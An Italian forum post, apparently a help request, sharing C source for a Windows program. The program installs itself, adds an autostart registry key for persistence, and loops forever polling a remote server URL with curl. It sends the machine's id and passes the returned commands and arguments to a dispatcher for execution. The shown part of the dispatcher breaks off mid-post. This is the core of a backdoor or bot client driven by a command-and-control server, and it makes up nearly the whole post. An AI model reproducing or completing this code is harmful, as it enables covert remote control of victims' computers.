Allora, lo inizializzo nella main:
codice:
#include <Windows.h>
#include <curl\curl.h>
#include <transact.h>
#include "macro.h"
#include "stringhe.h"
#include "client.h"
#include "NetQuery.h"
#include "iKey.h"
#include "install.h"
#include "datastream.h"
#define MAX_DATA 1000
#define MAX_PATHi 150
#pragma comment(lib, "libcurld_imp.lib")
char string[MAX_DATA];
size_t function( char *ptr, size_t size, size_t nmemb, void *userdata){
strcat(string, ptr);
return 0;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){
FILE * stream;
CURL *curl;
CURLcode res;
char * cmd[4] = {NULL, NULL, NULL, NULL};
char PATHi[MAX_PATHi];
strcpy(PATHi, installPATH);
char URL[150];
strcpy(URL, CLASSES);
strcat(URL, "request=showUsingId&id=");
int e;
int id;
char FURL[160];
char id_storage[6];
//SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
if((stream = fopen(strcat(PATHi, LOG), "r")) == NULL){
e = install(LOG);
AddAutoStartKey(TRUE);
}
else{
fclose(stream);
}
id = getRecord(PATHi);
_itoa(id, id_storage, 10);
sprintf(FURL, "%s%s%s%s", URL, id_storage, "&version=", VERSION);
while(1){
curl = curl_easy_init();
if(curl) {
curl_easy_setopt(curl, CURLOPT_URL, FURL);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, function);
res = curl_easy_perform(curl);
curl_easy_cleanup(curl);
explode(string, cmd, "\n");
if(strlen(cmd[1]) > 10){
client_easy_init(cmd[1], cmd[3]);
string[0] = '\0';
Sleep(1500);
}
else{
//Aspettiamo che l'utente si riconnetta ad internet e ripetiamo il ciclo
string[0] = '\0';
Sleep(1500);
}
}
}
return 0;
}
e lo passo come argomento qui:
codice:
#include <string.h>
#include <Windows.h>
#include <time.h>
#include "macro.h"
#include "stringhe.h"
#include "funzioni.h"
#include "NetQuery.h"
#include "datastream.h"
bool client_easy_init(char *action, char *args){
if(!strcmp(args, "argc = ")){ // Se la lista dei comandi è vuota torna alla main in attesa di un comando.
return false;
}
int pid;
char cpid[6];
int MB;
char cMB[10];
char * command = NULL;
char * argc = NULL;
char *arg1 = NULL, *arg2 = NULL, *arg3 = NULL;
command = action + 10;
argc = args + 7;
arg1 = strtok(argc, "_");
arg2 = strtok(NULL, "_");
arg3 = strtok(NULL, "_");
CONTINUA...